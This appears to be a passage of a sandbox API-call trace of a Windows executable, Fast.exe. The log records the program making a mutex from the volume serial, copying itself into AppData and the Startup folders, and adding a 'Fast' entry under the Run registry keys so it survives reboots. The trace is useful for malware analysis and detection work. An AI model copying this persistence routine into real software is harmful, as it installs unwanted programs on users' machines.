(HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x57a0d0 [0190.085] GetProcessHeap () returned 0x560000 [0190.085] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57a868 [0190.086] GetProcessHeap () returned 0x560000 [0190.086] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a868 | out: hHeap=0x560000) returned 1 [0190.086] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a0a8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0190.086] GetProcessHeap () returned 0x560000 [0190.086] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a0d0 | out: hHeap=0x560000) returned 1 [0190.086] GetProcessHeap () returned 0x560000 [0190.086] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a080 | out: hHeap=0x560000) returned 1 [0190.086] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x45f634, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x45f634*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0190.086] GetProcessHeap () returned 0x560000 [0190.086] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a0a8 | out: hHeap=0x560000) returned 1 [0190.087] GetProcessHeap () returned 0x560000 [0190.087] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x573fb0 [0190.087] GetProcessHeap () returned 0x560000 [0190.087] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x573ff8 [0190.087] GetProcessHeap () returned 0x560000 [0190.087] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x573ff8, Size=0x72) returned 0x56f8a0 [0190.087] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0190.087] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0xa4 [0190.087] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x0) returned 0x0 [0190.088] GetProcessHeap () returned 0x560000 [0190.088] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x573fb0 | out: hHeap=0x560000) returned 1 [0190.088] GetProcessHeap () returned 0x560000 [0190.088] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56f8a0 | out: hHeap=0x560000) returned 1 [0190.088] ReleaseMutex (hMutex=0xa4) returned 1 [0190.088] CloseHandle (hObject=0xa4) returned 1 [0190.088] GetProcessHeap () returned 0x560000 [0190.088] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20a) returned 0x57a868 [0190.088] GetProcessHeap () returned 0x560000 [0190.088] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x50) returned 0x57aa80 [0190.088] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x750a0000 [0190.089] GetProcAddress (hModule=0x750a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750cd650 [0190.089] Wow64DisableWow64FsRedirection (in: OldValue=0x45f6a8 | out: OldValue=0x45f6a8*=0x0) returned 1 [0190.089] GetProcessHeap () returned 0x560000 [0190.089] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57aa80 | out: hHeap=0x560000) returned 1 [0190.089] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x57a868, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Fast.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fast.exe")) returned 0x45 [0190.089] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Fast.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x45f650*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x45f698 | out: lpCommandLine="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Fast.exe", lpProcessInformation=0x45f698*(hProcess=0xa8, hThread=0xa4, dwProcessId=0x5dc, dwThreadId=0x5e0)) returned 1 [0192.850] CloseHandle (hObject=0xa8) returned 1 [0192.850] CloseHandle (hObject=0xa4) returned 1 [0192.851] GetProcessHeap () returned 0x560000 [0192.851] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x50) returned 0x57b2e8 [0192.851] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x750a0000 [0192.851] GetProcAddress (hModule=0x750a0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x750cd668 [0192.851] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0192.851] GetProcessHeap () returned 0x560000 [0192.851] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57b2e8 | out: hHeap=0x560000) returned 1 [0192.851] GetProcessHeap () returned 0x560000 [0192.851] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a868 | out: hHeap=0x560000) returned 1 [0192.852] Sleep (dwMilliseconds=0x1388) [0199.241] GetProcessHeap () returned 0x560000 [0199.241] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a0a8 [0199.241] GetProcessHeap () returned 0x560000 [0199.241] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a0d0 [0199.241] GetProcessHeap () returned 0x560000 [0199.241] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x57a0f8 [0199.241] GetProcessHeap () returned 0x560000 [0199.241] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57b2e8 [0199.241] GetProcessHeap () returned 0x560000 [0199.241] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57b2e8 | out: hHeap=0x560000) returned 1 [0199.242] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a0d0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0199.242] GetProcessHeap () returned 0x560000 [0199.242] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a0f8 | out: hHeap=0x560000) returned 1 [0199.242] GetProcessHeap () returned 0x560000 [0199.242] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a0a8 | out: hHeap=0x560000) returned 1 [0199.242] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x45f66c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x45f66c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0199.681] GetProcessHeap () returned 0x560000 [0199.681] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a0d0 | out: hHeap=0x560000) returned 1 [0199.681] GetProcessHeap () returned 0x560000 [0199.681] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x60) returned 0x57b2e8 [0199.681] GetProcessHeap () returned 0x560000 [0199.682] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a0d0 [0199.682] GetProcessHeap () returned 0x560000 [0199.682] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a0a8 [0199.682] GetProcessHeap () returned 0x560000 [0199.682] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x57a0f8 [0199.682] GetProcessHeap () returned 0x560000 [0199.682] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57af20 [0199.682] GetProcessHeap () returned 0x560000 [0199.682] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57af20 | out: hHeap=0x560000) returned 1 [0199.682] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x57a0a8, nSize=0xf | out: lpDst="") returned 0x2c [0199.682] GetProcessHeap () returned 0x560000 [0199.682] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a0f8 | out: hHeap=0x560000) returned 1 [0199.682] GetProcessHeap () returned 0x560000 [0199.682] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x57a0a8, Size=0x3a) returned 0x574040 [0199.682] GetProcessHeap () returned 0x560000 [0199.682] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x3a) returned 0x574088 [0199.683] GetProcessHeap () returned 0x560000 [0199.683] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57af20 [0199.683] GetProcessHeap () returned 0x560000 [0199.683] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57af20 | out: hHeap=0x560000) returned 1 [0199.683] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x574040, nSize=0x1d | out: lpDst="") returned 0x2c [0199.683] GetProcessHeap () returned 0x560000 [0199.683] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574088 | out: hHeap=0x560000) returned 1 [0199.683] GetProcessHeap () returned 0x560000 [0199.683] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574040, Size=0x72) returned 0x56f8a0 [0199.683] GetProcessHeap () returned 0x560000 [0199.683] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x72) returned 0x56f920 [0199.683] GetProcessHeap () returned 0x560000 [0199.683] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57af20 [0199.683] GetProcessHeap () returned 0x560000 [0199.684] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57af20 | out: hHeap=0x560000) returned 1 [0199.684] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x56f8a0, nSize=0x39 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x2c [0199.684] GetProcessHeap () returned 0x560000 [0199.684] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56f920 | out: hHeap=0x560000) returned 1 [0199.684] GetProcessHeap () returned 0x560000 [0199.684] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a0d0 | out: hHeap=0x560000) returned 1 [0199.684] GetProcessHeap () returned 0x560000 [0199.684] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574040 [0199.684] GetProcessHeap () returned 0x560000 [0199.684] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3e) returned 0x574088 [0199.684] GetProcessHeap () returned 0x560000 [0199.684] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x3e) returned 0x5740d0 [0199.684] GetProcessHeap () returned 0x560000 [0199.684] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57af20 [0199.684] GetProcessHeap () returned 0x560000 [0199.684] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x10) returned 0x5716d8 [0199.685] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x45f58c | out: phkResult=0x45f58c*=0xa8) returned 0x0 [0199.685] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x45f588, lpData=0x5740d0, lpcbData=0x45f590*=0x3e | out: lpType=0x45f588*=0x2, lpData=0x5740d0*=0x41, lpcbData=0x45f590*=0x98) returned 0xea [0199.685] RegCloseKey (hKey=0xa8) returned 0x0 [0199.685] GetProcessHeap () returned 0x560000 [0199.685] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5716d8 | out: hHeap=0x560000) returned 1 [0199.685] GetProcessHeap () returned 0x560000 [0199.686] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57af20 | out: hHeap=0x560000) returned 1 [0199.686] GetProcessHeap () returned 0x560000 [0199.686] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5740d0 | out: hHeap=0x560000) returned 1 [0199.686] GetProcessHeap () returned 0x560000 [0199.686] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574088, Size=0x7a) returned 0x57af20 [0199.686] GetProcessHeap () returned 0x560000 [0199.686] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x7a) returned 0x57afa8 [0199.686] GetProcessHeap () returned 0x560000 [0199.686] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57b030 [0199.686] GetProcessHeap () returned 0x560000 [0199.686] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x10) returned 0x5716d8 [0199.686] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x45f58c | out: phkResult=0x45f58c*=0xa8) returned 0x0 [0199.687] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x45f588, lpData=0x57afa8, lpcbData=0x45f590*=0x7a | out: lpType=0x45f588*=0x2, lpData=0x57afa8*=0x68, lpcbData=0x45f590*=0x98) returned 0xea [0199.687] RegCloseKey (hKey=0xa8) returned 0x0 [0199.687] GetProcessHeap () returned 0x560000 [0199.687] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5716d8 | out: hHeap=0x560000) returned 1 [0199.687] GetProcessHeap () returned 0x560000 [0199.687] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57b030 | out: hHeap=0x560000) returned 1 [0199.687] GetProcessHeap () returned 0x560000 [0199.687] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57afa8 | out: hHeap=0x560000) returned 1 [0199.687] GetProcessHeap () returned 0x560000 [0199.687] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x57af20, Size=0xf2) returned 0x57af20 [0199.687] GetProcessHeap () returned 0x560000 [0199.687] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xf2) returned 0x57b020 [0199.687] GetProcessHeap () returned 0x560000 [0199.688] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57a868 [0199.688] GetProcessHeap () returned 0x560000 [0199.688] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x10) returned 0x5716d8 [0199.688] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x45f58c | out: phkResult=0x45f58c*=0xa8) returned 0x0 [0199.688] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x45f588, lpData=0x57b020, lpcbData=0x45f590*=0xf2 | out: lpType=0x45f588*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x45f590*=0x98) returned 0x0 [0199.688] RegCloseKey (hKey=0xa8) returned 0x0 [0199.688] GetProcessHeap () returned 0x560000 [0199.688] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5716d8 | out: hHeap=0x560000) returned 1 [0199.688] GetProcessHeap () returned 0x560000 [0199.689] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a0d0 [0199.689] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x45f58c | out: phkResult=0x45f58c*=0xa8) returned 0x0 [0199.689] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x45f588, lpData=0x57b0b8, lpcbData=0x45f590*=0x5a | out: lpType=0x45f588*=0x0, lpData=0x57b0b8*=0x73, lpcbData=0x45f590*=0x5a) returned 0x2 [0199.689] RegCloseKey (hKey=0xa8) returned 0x0 [0199.689] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x45f5a0 | out: phkResult=0x45f5a0*=0xa8) returned 0x0 [0199.689] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x45f59c, lpData=0x57b0b8, lpcbData=0x45f5a4*=0x5a | out: lpType=0x45f59c*=0x2, lpData=0x57b0b8*=0x73, lpcbData=0x45f5a4*=0x78) returned 0xea [0199.690] RegCloseKey (hKey=0xa8) returned 0x0 [0199.690] GetProcessHeap () returned 0x560000 [0199.690] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a0d0 | out: hHeap=0x560000) returned 1 [0199.690] GetProcessHeap () returned 0x560000 [0199.690] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a868 | out: hHeap=0x560000) returned 1 [0199.690] GetProcessHeap () returned 0x560000 [0199.690] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57b020 | out: hHeap=0x560000) returned 1 [0199.690] GetProcessHeap () returned 0x560000 [0199.690] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x57af20, Size=0x1e2) returned 0x57af20 [0199.690] GetProcessHeap () returned 0x560000 [0199.690] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e2) returned 0x57a868 [0199.690] GetProcessHeap () returned 0x560000 [0199.690] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57aa58 [0199.690] GetProcessHeap () returned 0x560000 [0199.691] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x10) returned 0x5716d8 [0199.691] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x45f58c | out: phkResult=0x45f58c*=0xa8) returned 0x0 [0199.691] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x45f588, lpData=0x57a868, lpcbData=0x45f590*=0x1e2 | out: lpType=0x45f588*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x45f590*=0x98) returned 0x0 [0199.691] RegCloseKey (hKey=0xa8) returned 0x0 [0199.691] GetProcessHeap () returned 0x560000 [0199.691] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5716d8 | out: hHeap=0x560000) returned 1 [0199.691] GetProcessHeap () returned 0x560000 [0199.691] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a0d0 [0199.691] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x45f58c | out: phkResult=0x45f58c*=0xa8) returned 0x0 [0199.692] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x45f588, lpData=0x57a900, lpcbData=0x45f590*=0x14a | out: lpType=0x45f588*=0x0, lpData=0x57a900*=0xa8, lpcbData=0x45f590*=0x14a) returned 0x2 [0199.692] RegCloseKey (hKey=0xa8) returned 0x0 [0199.692] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x45f5a0 | out: phkResult=0x45f5a0*=0xa8) returned 0x0 [0199.692] RegQueryValueExW (in: hKey=0xa8, lpValueName="Common Startup", lpReserved=0x0, lpType=0x45f59c, lpData=0x57a900, lpcbData=0x45f5a4*=0x14a | out: lpType=0x45f59c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x45f5a4*=0x78) returned 0x0 [0199.693] RegCloseKey (hKey=0xa8) returned 0x0 [0199.695] GetProcessHeap () returned 0x560000 [0199.695] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a0d0 | out: hHeap=0x560000) returned 1 [0199.695] GetProcessHeap () returned 0x560000 [0199.695] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57aa58 | out: hHeap=0x560000) returned 1 [0199.695] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0x57af20, nSize=0xf1 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x99 [0199.695] GetProcessHeap () returned 0x560000 [0199.695] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a868 | out: hHeap=0x560000) returned 1 [0199.695] GetProcessHeap () returned 0x560000 [0199.695] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574040 | out: hHeap=0x560000) returned 1 [0199.695] GetProcessHeap () returned 0x560000 [0199.695] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20a) returned 0x57a868 [0199.695] GetProcessHeap () returned 0x560000 [0199.695] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20a) returned 0x57aa80 [0199.695] GetProcessHeap () returned 0x560000 [0199.695] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20a) returned 0x57b5a8 [0199.696] GetProcessHeap () returned 0x560000 [0199.696] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20a) returned 0x57b7c0 [0199.696] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x57a868, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Fast.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fast.exe")) returned 0x45 [0199.696] GetProcessHeap () returned 0x560000 [0199.696] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20a) returned 0x57b9d8 [0199.696] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x57b9d8, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Fast.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fast.exe")) returned 0x45 [0199.696] GetProcessHeap () returned 0x560000 [0199.696] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57b9d8 | out: hHeap=0x560000) returned 1 [0199.696] GetProcessHeap () returned 0x560000 [0199.696] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20a) returned 0x57b9d8 [0199.696] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x57b9d8, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Fast.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fast.exe")) returned 0x45 [0199.696] GetProcessHeap () returned 0x560000 [0199.696] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57b9d8 | out: hHeap=0x560000) returned 1 [0199.697] CopyFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Fast.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fast.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\fast.exe"), bFailIfExists=0) returned 1 [0199.717] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x45f688 | out: phkResult=0x45f688*=0xb0) returned 0x0 [0199.717] RegSetValueExW (hKey=0xb0, lpValueName="Fast", Reserved=0x0, dwType=0x1, lpData=0x57aa80, cbData=0x68) returned 0x5 [0199.718] RegCloseKey (hKey=0xb0) returned 0x0 [0199.718] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x45f684 | out: phkResult=0x45f684*=0xb0) returned 0x0 [0199.718] RegSetValueExW (in: hKey=0xb0, lpValueName="Fast", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Fast.exe", cbData=0x68 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Fast.exe") returned 0x0 [0199.719] RegCloseKey (hKey=0xb0) returned 0x0 [0199.719] GetProcessHeap () returned 0x560000 [0199.719] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x134) returned 0x57b9d8 [0199.719] CopyFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Fast.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fast.exe"), lpNewFileName="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\fast.exe"), bFailIfExists=1) returned 0 [0199.720] CopyFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Fast.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fast.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\Fast.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fast.exe"), bFailIfExists=1) returned 0 [0199.721] GetProcessHeap () returned 0x560000 [0199.721] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57b9d8 | out: hHeap=0x560000) returned 1 [0199.721] GetProcessHeap () returned 0x560000 [0199.721] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a868 | out: hHeap=0x560000) returned 1 [0199.721] GetProcessHeap () returned 0x560000 [0199.721] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57aa80 | out: hHeap=0x560000) returned 1 [0199.721] GetProcessHeap () returned 0x560000 [0199.721] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57b5a8 | out: hHeap=0x560000) returned 1 [0199.721] GetProcessHeap () returned 0x560000 [0199.721] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57b7c0 | out: hHeap=0x560000) returned 1 [0199.721] GetProcessHeap () returned 0x560000 [0199.721] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57b2e8 | out: hHeap=0x560000) returned 1 [0199.721] GetProcessHeap () returned 0x560000 [0199.721] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56f8a0 | out: hHeap=0x560000) returned 1 [0199.721] GetProcessHeap () returned 0x560000 [0199.722] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57af20 | out: hHeap=0x560000) returned 1 [0199.722] GetProcessHeap () returned 0x560000 [0199.722] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a0d0 [0199.722] GetProcessHeap () returned 0x560000 [0199.722] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a0a8 [0199.722] GetProcessHeap () returned 0x560000 [0199.722] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x57a0f8 [0199.722] GetProcessHeap () returned 0x560000 [0199.722] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57b2e8 [0199.722] GetProcessHeap () returned 0x560000 [0199.722] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57b2e8 | out: hHeap=0x560000) returned 1 [0199.722] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a0a8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0199.722] GetProcessHeap () returned 0x560000 [0199.722] HeapFree (in: 